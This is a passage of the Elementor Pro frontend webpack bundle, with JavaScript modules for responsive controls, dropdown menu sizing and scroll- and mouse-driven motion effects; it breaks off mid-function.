/*! pro-elements - v3.23.0 - 05-08-2024 */ (self["webpackChunkelementor_pro"] = self["webpackChunkelementor_pro"] || []).push([["frontend"],{ /***/ "../assets/dev/js/frontend/frontend.js": /*!*********************************************!*\ !*** ../assets/dev/js/frontend/frontend.js ***! \*********************************************/ /***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); __webpack_require__(/*! ../public-path */ "../assets/dev/js/public-path.js"); var _frontend = _interopRequireDefault(__webpack_require__(/*! ../../../../modules/motion-fx/assets/js/frontend/frontend */ "../modules/motion-fx/assets/js/frontend/frontend.js")); var _frontend2 = _interopRequireDefault(__webpack_require__(/*! ../../../../modules/sticky/assets/js/frontend/frontend */ "../modules/sticky/assets/js/frontend/frontend.js")); var _frontend3 = _interopRequireDefault(__webpack_require__(/*! ../../../../modules/code-highlight/assets/js/frontend/frontend */ "../modules/code-highlight/assets/js/frontend/frontend.js")); var _frontend4 = _interopRequireDefault(__webpack_require__(/*! ../../../../modules/video-playlist/assets/js/frontend/frontend */ "../modules/video-playlist/assets/js/frontend/frontend.js")); var _frontend5 = _interopRequireDefault(__webpack_require__(/*! ../../../../modules/payments/assets/js/frontend/frontend */ "../modules/payments/assets/js/frontend/frontend.js")); var _frontend6 = _interopRequireDefault(__webpack_require__(/*! ../../../../modules/progress-tracker/assets/js/frontend/frontend */ "../modules/progress-tracker/assets/js/frontend/frontend.js")); var _controls = _interopRequireDefault(__webpack_require__(/*! ./utils/controls */ "../assets/dev/js/frontend/utils/controls.js")); var _dropdownMenuHeightController = _interopRequireDefault(__webpack_require__(/*! ./utils/dropdown-menu-height-controller */ "../assets/dev/js/frontend/utils/dropdown-menu-height-controller.js")); class ElementorProFrontend extends elementorModules.ViewModule { onInit() { super.onInit(); this.config = ElementorProFrontendConfig; this.modules = {}; this.initOnReadyComponents(); } bindEvents() { jQuery(window).on('elementor/frontend/init', this.onElementorFrontendInit.bind(this)); } initModules() { // Handlers that should be available by default for sections usage. let handlers = { motionFX: _frontend.default, sticky: _frontend2.default, codeHighlight: _frontend3.default, videoPlaylist: _frontend4.default, payments: _frontend5.default, progressTracker: _frontend6.default }; // Keep this line before applying filter on the handlers. // TODO: BC - Deprecated since 3.7.0 elementorProFrontend.trigger('elementor-pro/modules/init:before'); // TODO: Use this instead. elementorProFrontend.trigger('elementor-pro/modules/init/before'); handlers = elementorFrontend.hooks.applyFilters('elementor-pro/frontend/handlers', handlers); jQuery.each(handlers, (moduleName, ModuleClass) => { this.modules[moduleName] = new ModuleClass(); }); // TODO: BC Since 2.9.0 this.modules.linkActions = { addAction: function () { elementorFrontend.utils.urlActions.addAction(...arguments); } }; } onElementorFrontendInit() { this.initModules(); } initOnReadyComponents() { this.utils = { controls: new _controls.default(), DropdownMenuHeightController: _dropdownMenuHeightController.default }; } } window.elementorProFrontend = new ElementorProFrontend(); /***/ }), /***/ "../assets/dev/js/frontend/utils/controls.js": /*!***************************************************!*\ !*** ../assets/dev/js/frontend/utils/controls.js ***! \***************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class Controls { /** * Get Control Value * * Retrieves a control value. * This function has been copied from `elementor/assets/dev/js/editor/utils/conditions.js`. * * @since 3.11.0 * * @param {{}} controlSettings A settings object (e.g. element settings - keys and values) * @param {string} controlKey The control key name * @param {string} controlSubKey A specific property of the control object. * @return {*} Control Value */ getControlValue(controlSettings, controlKey, controlSubKey) { let value; if ('object' === typeof controlSettings[controlKey] && controlSubKey) { value = controlSettings[controlKey][controlSubKey]; } else { value = controlSettings[controlKey]; } return value; } /** * Get the value of a responsive control. * * Retrieves the value of a responsive control for the current device or for this first parent device which has a control value. * * @since 3.11.0 * * @param {{}} controlSettings A settings object (e.g. element settings - keys and values) * @param {string} controlKey The control key name * @param {string} controlSubKey A specific property of the control object. * @return {*} Control Value */ getResponsiveControlValue(controlSettings, controlKey) { let controlSubKey = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ''; const currentDeviceMode = elementorFrontend.getCurrentDeviceMode(), controlValueDesktop = this.getControlValue(controlSettings, controlKey, controlSubKey); // Set the control value for the current device mode. // First check the widescreen device mode. if ('widescreen' === currentDeviceMode) { const controlValueWidescreen = this.getControlValue(controlSettings, `${controlKey}_widescreen`, controlSubKey); return !!controlValueWidescreen || 0 === controlValueWidescreen ? controlValueWidescreen : controlValueDesktop; } // Loop through all responsive and desktop device modes. const activeBreakpoints = elementorFrontend.breakpoints.getActiveBreakpointsList({ withDesktop: true }); let parentDeviceMode = currentDeviceMode, deviceIndex = activeBreakpoints.indexOf(currentDeviceMode), controlValue = ''; while (deviceIndex <= activeBreakpoints.length) { if ('desktop' === parentDeviceMode) { controlValue = controlValueDesktop; break; } const responsiveControlKey = `${controlKey}_${parentDeviceMode}`, responsiveControlValue = this.getControlValue(controlSettings, responsiveControlKey, controlSubKey); if (!!responsiveControlValue || 0 === responsiveControlValue) { controlValue = responsiveControlValue; break; } // If no control value has been set for the current device mode, then check the parent device mode. deviceIndex++; parentDeviceMode = activeBreakpoints[deviceIndex]; } return controlValue; } } exports["default"] = Controls; /***/ }), /***/ "../assets/dev/js/frontend/utils/dropdown-menu-height-controller.js": /*!**************************************************************************!*\ !*** ../assets/dev/js/frontend/utils/dropdown-menu-height-controller.js ***! \**************************************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class DropdownMenuHeightController { constructor(widgetConfig) { this.widgetConfig = widgetConfig; } calculateStickyMenuNavHeight() { this.widgetConfig.elements.$dropdownMenuContainer.css(this.widgetConfig.settings.menuHeightCssVarName, ''); const menuToggleHeight = this.widgetConfig.elements.$dropdownMenuContainer.offset().top - jQuery(window).scrollTop(); return elementorFrontend.elements.$window.height() - menuToggleHeight; } calculateMenuTabContentHeight($tab) { return elementorFrontend.elements.$window.height() - $tab[0].getBoundingClientRect().top; } isElementSticky() { return this.widgetConfig.elements.$element.hasClass('elementor-sticky') || this.widgetConfig.elements.$element.parents('.elementor-sticky').length; } getMenuHeight() { return this.isElementSticky() ? this.calculateStickyMenuNavHeight() + 'px' : this.widgetConfig.settings.dropdownMenuContainerMaxHeight; } setMenuHeight(menuHeight) { this.widgetConfig.elements.$dropdownMenuContainer.css(this.widgetConfig.settings.menuHeightCssVarName, menuHeight); } reassignMobileMenuHeight() { const menuHeight = this.isToggleActive() ? this.getMenuHeight() : 0; return this.setMenuHeight(menuHeight); } reassignMenuHeight($activeTabContent) { if (!this.isElementSticky() || 0 === $activeTabContent.length) { return; } const offsetBottom = elementorFrontend.elements.$window.height() - $activeTabContent[0].getBoundingClientRect().top, isContentHeightBiggerThanWindow = $activeTabContent.height() > offsetBottom; if (!isContentHeightBiggerThanWindow) { return; } $activeTabContent.css('height', this.calculateMenuTabContentHeight($activeTabContent) + 'px'); $activeTabContent.css('overflow-y', 'scroll'); } resetMenuHeight($activeTabContent) { if (!this.isElementSticky()) { return; } $activeTabContent.css('height', 'initial'); $activeTabContent.css('overflow-y', 'visible'); } isToggleActive() { const $menuToggle = this.widgetConfig.elements.$menuToggle; // New approach. // Aria attributes instead of css classes. if (!!this.widgetConfig.attributes?.menuToggleState) { return 'true' === $menuToggle.attr(this.widgetConfig.attributes.menuToggleState); } // This can be removed once the new markup of the Mega Menu has been implemented. // Previously we used state classes to indicate the active state of the menu toggle. return $menuToggle.hasClass(this.widgetConfig.classes.menuToggleActiveClass); } } exports["default"] = DropdownMenuHeightController; /***/ }), /***/ "../assets/dev/js/public-path.js": /*!***************************************!*\ !*** ../assets/dev/js/public-path.js ***! \***************************************/ /***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => { "use strict"; /* eslint-disable camelcase */ __webpack_require__.p = ElementorProFrontendConfig.urls.assets + 'js/'; /***/ }), /***/ "../modules/code-highlight/assets/js/frontend/frontend.js": /*!****************************************************************!*\ !*** ../modules/code-highlight/assets/js/frontend/frontend.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class _default extends elementorModules.Module { constructor() { super(); elementorFrontend.elementsHandler.attachHandler('code-highlight', () => __webpack_require__.e(/*! import() | code-highlight */ "code-highlight").then(__webpack_require__.bind(__webpack_require__, /*! ./handler */ "../modules/code-highlight/assets/js/frontend/handler.js"))); } } exports["default"] = _default; /***/ }), /***/ "../modules/motion-fx/assets/js/frontend/frontend.js": /*!***********************************************************!*\ !*** ../modules/motion-fx/assets/js/frontend/frontend.js ***! \***********************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _handler = _interopRequireDefault(__webpack_require__(/*! ./handler */ "../modules/motion-fx/assets/js/frontend/handler.js")); class _default extends elementorModules.Module { constructor() { super(); elementorFrontend.elementsHandler.attachHandler('global', _handler.default, null); } } exports["default"] = _default; /***/ }), /***/ "../modules/motion-fx/assets/js/frontend/handler.js": /*!**********************************************************!*\ !*** ../modules/motion-fx/assets/js/frontend/handler.js ***! \**********************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _motionFx = _interopRequireDefault(__webpack_require__(/*! ./motion-fx/motion-fx */ "../modules/motion-fx/assets/js/frontend/motion-fx/motion-fx.js")); class _default extends elementorModules.frontend.handlers.Base { __construct() { super.__construct(...arguments); this.toggle = elementorFrontend.debounce(this.toggle, 200); } getDefaultSettings() { return { selectors: { container: '.elementor-widget-container' } }; } getDefaultElements() { const selectors = this.getSettings('selectors'); return { $container: this.$element.find(selectors.container) }; } bindEvents() { elementorFrontend.elements.$window.on('resize', this.toggle); } unbindEvents() { elementorFrontend.elements.$window.off('resize', this.toggle); } addCSSTransformEvents() { // Remove CSS transition variable that assigned from scroll.js in order to allow the transition of the CSS-Transform. const motionFxScrolling = this.getElementSettings('motion_fx_motion_fx_scrolling'); if (motionFxScrolling && !this.isTransitionEventAdded) { this.isTransitionEventAdded = true; this.elements.$container.on('mouseenter', () => { this.elements.$container.css('--e-transform-transition-duration', ''); }); } } initEffects() { this.effects = { translateY: { interaction: 'scroll', actions: ['translateY'] }, translateX: { interaction: 'scroll', actions: ['translateX'] }, rotateZ: { interaction: 'scroll', actions: ['rotateZ'] }, scale: { interaction: 'scroll', actions: ['scale'] }, opacity: { interaction: 'scroll', actions: ['opacity'] }, blur: { interaction: 'scroll', actions: ['blur'] }, mouseTrack: { interaction: 'mouseMove', actions: ['translateXY'] }, tilt: { interaction: 'mouseMove', actions: ['tilt'] } }; } prepareOptions(name) { const elementSettings = this.getElementSettings(), type = 'motion_fx' === name ? 'element' : 'background', interactions = {}; jQuery.each(elementSettings, (key, value) => { const keyRegex = new RegExp('^' + name + '_(.+?)_effect'), keyMatches = key.match(keyRegex); if (!keyMatches || !value) { return; } const options = {}, effectName = keyMatches[1]; jQuery.each(elementSettings, (subKey, subValue) => { const subKeyRegex = new RegExp(name + '_' + effectName + '_(.+)'), subKeyMatches = subKey.match(subKeyRegex); if (!subKeyMatches) { return; } const subFieldName = subKeyMatches[1]; if ('effect' === subFieldName) { return; } if ('object' === typeof subValue) { subValue = Object.keys(subValue.sizes).length ? subValue.sizes : subValue.size; } options[subKeyMatches[1]] = subValue; }); const effect = this.effects[effectName], interactionName = effect.interaction; if (!interactions[interactionName]) { interactions[interactionName] = {}; } effect.actions.forEach(action => interactions[interactionName][action] = options); }); let $element = this.$element, $dimensionsElement; const elementType = this.getElementType(); if ('element' === type && !['section', 'container'].includes(elementType)) { $dimensionsElement = $element; let childElementSelector; if ('column' === elementType) { childElementSelector = '.elementor-widget-wrap'; } else { childElementSelector = '.elementor-widget-container'; } $element = $element.find('> ' + childElementSelector); } const options = { type, interactions, elementSettings, $element, $dimensionsElement, refreshDimensions: this.isEdit, range: elementSettings[name + '_range'], classes: { element: 'elementor-motion-effects-element', parent: 'elementor-motion-effects-parent', backgroundType: 'elementor-motion-effects-element-type-background', container: 'elementor-motion-effects-container', layer: 'elementor-motion-effects-layer', perspective: 'elementor-motion-effects-perspective' } }; if (!options.range && 'fixed' === this.getCurrentDeviceSetting('_position')) { options.range = 'page'; } if ('fixed' === this.getCurrentDeviceSetting('_position')) { options.isFixedPosition = true; } if ('background' === type && 'column' === this.getElementType()) { options.addBackgroundLayerTo = ' > .elementor-element-populated'; } return options; } activate(name) { const options = this.prepareOptions(name); if (jQuery.isEmptyObject(options.interactions)) { return; } this[name] = new _motionFx.default(options); } deactivate(name) { if (this[name]) { this[name].destroy(); delete this[name]; } } toggle() { const currentDeviceMode = elementorFrontend.getCurrentDeviceMode(), elementSettings = this.getElementSettings(); ['motion_fx', 'background_motion_fx'].forEach(name => { const devices = elementSettings[name + '_devices'], isCurrentModeActive = !devices || -1 !== devices.indexOf(currentDeviceMode); if (isCurrentModeActive && (elementSettings[name + '_motion_fx_scrolling'] || elementSettings[name + '_motion_fx_mouse'])) { if (this[name]) { this.refreshInstance(name); } else { this.activate(name); } } else { this.deactivate(name); } }); } refreshInstance(instanceName) { const instance = this[instanceName]; if (!instance) { return; } const preparedOptions = this.prepareOptions(instanceName); instance.setSettings(preparedOptions); instance.refresh(); } onInit() { super.onInit(); this.initEffects(); this.addCSSTransformEvents(); this.toggle(); } onElementChange(propertyName) { if (/motion_fx_((scrolling)|(mouse)|(devices))$/.test(propertyName)) { if ('motion_fx_motion_fx_scrolling' === propertyName) { this.addCSSTransformEvents(); } this.toggle(); return; } const propertyMatches = propertyName.match('.*?(motion_fx|_transform)'); if (propertyMatches) { const instanceName = propertyMatches[0].match('(_transform)') ? 'motion_fx' : propertyMatches[0]; this.refreshInstance(instanceName); if (!this[instanceName]) { this.activate(instanceName); } } if (/^_position/.test(propertyName)) { ['motion_fx', 'background_motion_fx'].forEach(instanceName => { this.refreshInstance(instanceName); }); } } onDestroy() { super.onDestroy(); ['motion_fx', 'background_motion_fx'].forEach(name => { this.deactivate(name); }); } } exports["default"] = _default; /***/ }), /***/ "../modules/motion-fx/assets/js/frontend/motion-fx/actions.js": /*!********************************************************************!*\ !*** ../modules/motion-fx/assets/js/frontend/motion-fx/actions.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class _default extends elementorModules.Module { getMovePointFromPassedPercents(movableRange, passedPercents) { const movePoint = passedPercents / movableRange * 100; return +movePoint.toFixed(2); } getEffectValueFromMovePoint(range, movePoint) { return range * movePoint / 100; } getStep(passedPercents, options) { if ('element' === this.getSettings('type')) { return this.getElementStep(passedPercents, options); } return this.getBackgroundStep(passedPercents, options); } getElementStep(passedPercents, options) { return -(passedPercents - 50) * options.speed; } getBackgroundStep(passedPercents, options) { const movableRange = this.getSettings('dimensions.movable' + options.axis.toUpperCase()); return -this.getEffectValueFromMovePoint(movableRange, passedPercents); } getDirectionMovePoint(passedPercents, direction, range) { let movePoint; if (passedPercents < range.start) { if ('out-in' === direction) { movePoint = 0; } else if ('in-out' === direction) { movePoint = 100; } else { movePoint = this.getMovePointFromPassedPercents(range.start, passedPercents); if ('in-out-in' === direction) { movePoint = 100 - movePoint; } } } else if (passedPercents < range.end) { if ('in-out-in' === direction) { movePoint = 0; } else if ('out-in-out' === direction) { movePoint = 100; } else { movePoint = this.getMovePointFromPassedPercents(range.end - range.start, passedPercents - range.start); if ('in-out' === direction) { movePoint = 100 - movePoint; } } } else if ('in-out' === direction) { movePoint = 0; } else if ('out-in' === direction) { movePoint = 100; } else { movePoint = this.getMovePointFromPassedPercents(100 - range.end, 100 - passedPercents); if ('in-out-in' === direction) { movePoint = 100 - movePoint; } } return movePoint; } translateX(actionData, passedPercents) { actionData.axis = 'x'; actionData.unit = 'px'; this.transform('translateX', passedPercents, actionData); } translateY(actionData, passedPercents) { actionData.axis = 'y'; actionData.unit = 'px'; this.transform('translateY', passedPercents, actionData); } translateXY(actionData, passedPercentsX, passedPercentsY) { this.translateX(actionData, passedPercentsX); this.translateY(actionData, passedPercentsY); } tilt(actionData, passedPercentsX, passedPercentsY) { const options = { speed: actionData.speed / 10, direction: actionData.direction }; this.rotateX(options, passedPercentsY); this.rotateY(options, 100 - passedPercentsX); } rotateX(actionData, passedPercents) { actionData.axis = 'x'; actionData.unit = 'deg'; this.transform('rotateX', passedPercents, actionData); } rotateY(actionData, passedPercents) { actionData.axis = 'y'; actionData.unit = 'deg'; this.transform('rotateY', passedPercents, actionData); } rotateZ(actionData, passedPercents) { actionData.unit = 'deg'; this.transform('rotateZ', passedPercents, actionData); } scale(actionData, passedPercents) { const movePoint = this.getDirectionMovePoint(passedPercents, actionData.direction, actionData.range); this.updateRulePart('transform', 'scale', 1 + actionData.speed * movePoint / 1000); } transform(action, passedPercents, actionData) { if (actionData.direction) { passedPercents = 100 - passedPercents; } this.updateRulePart('transform', action, this.getStep(passedPercents, actionData) + actionData.unit); } setCSSTransformVariables(elementSettings) { this.CSSTransformVariables = []; jQuery.each(elementSettings, (settingKey, settingValue) => { const transformKeyMatches = settingKey.match(/_transform_(.+?)_effect/m); if (transformKeyMatches && settingValue) { if ('perspective' === transformKeyMatches[1]) { this.CSSTransformVariables.unshift(transformKeyMatches[1]); return; } if (this.CSSTransformVariables.includes(transformKeyMatches[1])) { return; } this.CSSTransformVariables.push(transformKeyMatches[1]); } }); } opacity(actionData, passedPercents) { const movePoint = this.getDirectionMovePoint(passedPercents, actionData.direction, actionData.range), level = actionData.level / 10, opacity = 1 - level + this.getEffectValueFromMovePoint(level, movePoint); this.$element.css({ opacity, 'will-change': 'opacity' }); } blur(actionData, passedPercents) { const movePoint = this.getDirectionMovePoint(passedPercents, actionData.direction, actionData.range), blur = actionData.level - this.getEffectValueFromMovePoint(actionData.level, movePoint); this.updateRulePart('filter', 'blur', blur + 'px'); } updateRulePart(ruleName, key, value) { if (!this.rulesVariables[ruleName]) { this.rulesVariables[ruleName] = {}; } if (!this.rulesVariables[ruleName][key]) { this.rulesVariables[ruleName][key] = true; this.updateRule(ruleName); } const cssVarKey = `--${key}`; this.$element[0].style.setProperty(cssVarKey, value); } updateRule(ruleName) { let value = ''; value += this.concatTransformCSSProperties(ruleName); value += this.concatTransformMotionEffectCSSProperties(ruleName); this.$element.css(ruleName, value); } concatTransformCSSProperties(ruleName) { let value = ''; if ('transform' === ruleName) { jQuery.each(this.CSSTransformVariables, (index, variableKey) => { const variableName = variableKey; if (variableKey.startsWith('flip')) { variableKey = variableKey.replace('flip', 'scale'); } // Adding default value because of the hover state. if there is no default the transform will break. const defaultUnit = variableKey.startsWith('rotate') || variableKey.startsWith('skew') ? 'deg' : 'px', defaultValue = variableKey.startsWith('scale') ? 1 : 0 + defaultUnit; value += `${variableKey}(var(--e-transform-${variableName}, ${defaultValue}))`; }); } return value; } concatTransformMotionEffectCSSProperties(ruleName) { let value = ''; jQuery.each(this.rulesVariables[ruleName], variableKey => { value += `${variableKey}(var(--${variableKey}))`; }); return value; } runAction(actionName, actionData, passedPercents) { if (actionData.affectedRange) { if (actionData.affectedRange.start > passedPercents) { passedPercents = actionData.affectedRange.start; } if (actionData.affectedRange.end < passedPercents) { passedPercents = actionData.affectedRange.end; } } for (var _len = arguments.length, args = new Array(_len > 3 ? _len - 3 : 0), _key = 3; _key < _len; _key++) { args[_key - 3] = arguments[_key]; } this[actionName](actionData, passedPercents, ...args); } refresh() { this.rulesVariables = {}; this.CSSTransformVariables = []; this.$element.css({ transform: '', filter: '', opacity: '', 'will-change': '' }); } onInit() { this.$element = this.getSettings('$targetElement'); this.refresh(); } } exports["default"] = _default; /***/ }), /***/ "../modules/motion-fx/assets/js/frontend/motion-fx/interactions/base.js": /*!******************************************************************************!*\ !*** ../modules/motion-fx/assets/js/frontend/motion-fx/interactions/base.js ***! \******************************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _defineProperty2 = _interopRequireDefault(__webpack_require__(/*! @babel/runtime/helpers/defineProperty */ "../node_modules/@babel/runtime/helpers/defineProperty.js")); class _default extends elementorModules.ViewModule { constructor() { super(...arguments); (0, _defineProperty2.default)(this, "onInsideViewport", () => { this.run(); this.animationFrameRequest = requestAnimationFrame(this.onInsideViewport); }); } __construct(options) { this.motionFX = options.motionFX; if (!this.intersectionObservers) { this.setElementInViewportObserver(); } } setElementInViewportObserver() { this.intersectionObserver = elementorModules.utils.Scroll.scrollObserver({ callback: event => { if (event.isInViewport) { this.onInsideViewport(); } else { this.removeAnimationFrameRequest(); } } }); // Determine which element we should observe. const observedElement = 'page' === this.motionFX.getSettings('range') ? elementorFrontend.elements.$body[0] : this.motionFX.elements.$parent[0]; this.intersectionObserver.observe(observedElement); } runCallback() { const callback = this.getSettings('callback'); callback(...arguments); } removeIntersectionObserver() { if (this.intersectionObserver) { this.intersectionObserver.unobserve(this.motionFX.elements.$parent[0]); } } removeAnimationFrameRequest() { if (this.animationFrameRequest) { cancelAnimationFrame(this.animationFrameRequest); } } destroy() { this.removeAnimationFrameRequest(); this.removeIntersectionObserver(); } onInit() { super.onInit(); } } exports["default"] = _default; /***/ }), /***/ "../modules/motion-fx/assets/js/frontend/motion-fx/interactions/mouse-move.js": /*!************************************************************************************!*\ !*** ../modules/motion-fx/assets/js/frontend/motion-fx/interactions/mouse-move.js ***! \************************************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _base = _interopRequireDefault(__webpack_require__(/*! ./base */ "../modules/motion-fx/assets/js/frontend/motion-fx/interactions/base.js")); class MouseMoveInteraction extends _base.default { bindEvents() { if (!MouseMoveInteraction.mouseTracked) { elementorFrontend.elements.$window.on('mousemove', MouseMoveInteraction.updateMousePosition); MouseMoveInteraction.mouseTracked = true; } } run() { const mousePosition = MouseMoveInteraction.mousePosition, oldMousePosition = this.oldMousePosition; if (oldMousePosition.x === mousePosition.x && oldMousePosition.y === mousePosition.y) { return; } this.oldMousePosition = { x: mousePosition.x, y: mousePosition.y }; const passedPercentsX = 100 / innerWidth * mousePosition.x, passedPercentsY = 100 / innerHeight * mousePosition.y; this.runCallback(passedPercentsX, passedPercentsY); } onInit() { this.oldMousePosition = {}; super.onInit(); } } exports["default"] = MouseMoveInteraction; MouseMoveInteraction.mousePosition = {}; MouseMoveInteraction.updateMousePosition = event => { MouseMoveInteraction.mousePosition = { x: event.clientX, y: event.clientY }; }; /***/ }), /***/ "../modules/motion-fx/assets/js/frontend/motion-fx/interactions/scroll.js": /*!********************************************************************************!*\ !*** ../modules/motion-fx/assets/js/frontend/motion-fx/interactions/scroll.js ***! \********************************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _base = _interopRequireDefault(__webpack_require__(/*! ./base */ "../modules/motion-fx/assets/js/frontend/motion-fx/interactions/base.js")); class _default extends _base.default { run() { if (pageYOffset === this.windowScrollTop) { return false; } this.onScrollMovement(); this.windowScrollTop = pageYOffset; } onScrollMovement() { this.updateMotionFxDimensions(); this.updateAnimation(); this.resetTransitionVariable(); } resetTransitionVariable() { this.motionFX.$element.css('--e-transform-transition-duration', '100ms'); } updateMotionFxDimensions() { const motionFXSettings = this.motionFX.getSettings(); if (motionFXSettings.refreshDimensions) { this.motionFX.defineDimensions(); } } updateAnimation() { let passedRangePercents; if ('page' === this.motionFX.getSettings('range')) { passedRangePercents = elementorModules.utils.Scroll.getPageScrollPercentage(); } else if (this.motionFX.getSettings('isFixedPosition')) { passedRangePercents = elementorModules.utils.Scroll.getPageScrollPercentage({}, window.innerHeight); } else { passedRangePercents = elementorModules.utils.Scroll.getElementViewportPercentage(this.motionFX.elements.$parent); } this.runCallback(passedRangePercents); } } exports["default"] = _default; /***/ }), /***/ "../modules/motion-fx/assets/js/frontend/motion-fx/motion-fx.js": /*!**********************************************************************!*\ !*** ../modules/motion-fx/assets/js/frontend/motion-fx/motion-fx.js ***! \**********************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _scroll = _interopRequireDefault(__webpack_require__(/*! ./interactions/scroll */ "../modules/motion-fx/assets/js/frontend/motion-fx/interactions/scroll.js")); var _mouseMove = _interopRequireDefault(__webpack_require__(/*! ./interactions/mouse-move */ "../modules/motion-fx/assets/js/frontend/motion-fx/interactions/mouse-move.js")); var _actions = _interopRequireDefault(__webpack_require__(/*! ./actions */ "../modules/motion-fx/assets/js/frontend/motion-fx/actions.js")); class _default extends elementorModules.ViewModule { getDefaultSettings() { return { type: 'element', $element: null, $dimensionsElement: null, addBackgroundLayerTo: null, interactions: {}, refreshDimensions: false, range: 'viewport', classes: { element: 'motion-fx-element', parent: 'motion-fx-parent', backgroundType: 'motion-fx-element-type-background', container: 'motion-fx-container', layer: 'motion-fx-layer', perspective: 'motion-fx-perspective' } }; } bindEvents() { this.defineDimensions = this.defineDimensions.bind(this); elementorFrontend.elements.$window.on('resize elementor-pro/motion-fx/recalc', this.defineDimensions); } unbindEvents() { elementorFrontend.elements.$window.off('resize elementor-pro/motion-fx/recalc', this.defineDimensions); } addBackgroundLayer() { const settings = this.getSettings(); this.elements.$motionFXContainer = jQuery('
', { class: settings.classes.container }); this.elements.$motionFXLayer = jQuery('
', { class: settings.classes.layer }); this.updateBackgroundLayerSize(); this.elements.$motionFXContainer.prepend(this.elements.$motionFXLayer); const $addBackgroundLayerTo = settings.addBackgroundLayerTo ? this.$element.find(settings.addBackgroundLayerTo) : this.$element; $addBackgroundLayerTo.prepend(this.elements.$motionFXContainer); } removeBackgroundLayer() { this.elements.$motionFXContainer.remove(); } updateBackgroundLayerSize() { const settings = this.getSettings(), speed = { x: 0, y: 0 }, mouseInteraction = settings.interactions.mouseMove, scrollInteraction = settings.interactions.scroll; if (mouseInteraction && mouseInteraction.translateXY) { speed.x = mouseInteraction.translateXY.speed * 10; speed.y = mouseInteraction.translateXY.speed * 10; } if (scrollInteraction) { if (scrollInteraction.translateX) { speed.x = scrollInteraction.translateX.speed * 10; } if (scrollInteraction.translateY) { speed.y = scrollInteraction.translateY.speed * 10; } } this.elements.$motionFXLayer.css({ width: 100 + speed.x + '%', height: 100 + speed.y + '%' }); } defineDimensions() { const $dimensionsElement = this.getSettings('$dimensionsElement') || this.$element, elementOffset = $dimensionsElement.offset(); const dimensions = { elementHeight: $dimensionsElement.outerHeight(), elementWidth: $dimensionsElement.outerWidth(), elementTop: elementOffset.top, elementLeft: elementOffset.left }; dimensions.elementRange = dimensions.elementHeight + innerHeight; this.setSettings('dimensions', dimensions); if ('background' === this.getSettings('type')) { this.defineBackgroundLayerDimensions(); } } defineBackgroundLayerDimensions() { const dimensions = this.getSettings('dimensions'); dimensions.layerHeight = this.elements.$motionFXLayer.height(); dimensions.layerWidth = this.elements.$motionFXLayer.width(); dimensions.movableX = dimensions.layerWidth - dimensions.elementWidth; dimensions.movableY = dimensions.layerHeight - dimensions.elementHeight; this.setSettings('dimensions', dimensions); } initInteractionsTypes() { this.interactionsTypes = { scroll: _scroll.default, mouseMove: _mouseMove.default }; } prepareSpecialActions() { const settings = this.getSettings(), hasTiltEffect = !!(settings.interactions.mouseMove && settings.interactions.mouseMove.tilt); this.elements.$parent.toggleClass(settings.classes.perspective, hasTiltEffect); } cleanSpecialActions() { const settings = this.getSettings(); this.elements.$parent.removeClass(settings.classes.perspective); } runInteractions() { var _this = this; const settings = this.getSettings(); this.actions.setCSSTransformVariables(settings.elementSettings); this.prepareSpecialActions(); jQuery.each(settings.interactions, (interactionName, actions) => { this.interactions[interactionName] = new this.interactionsTypes[interactionName]({ motionFX: this, callback: function () { for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } jQuery.each(actions, (actionName, actionData) => _this.actions.runAction(actionName, actionData, ...args)); } }); this.interactions[interactionName].run(); }); } destroyInteractions() { this.cleanSpecialActions(); jQuery.each(this.interactions, (interactionName, interaction) => interaction.destroy()); this.interactions = {}; } refresh() { this.actions.setSettings(this.getSettings()); if ('background' === this.getSettings('type')) { this.updateBackgroundLayerSize(); this.defineBackgroundLayerDimensions(); } this.actions.refresh(); this.destroyInteractions(); this.runInteractions(); } destroy() { this.destroyInteractions(); this.actions.refresh(); const settings = this.getSettings(); 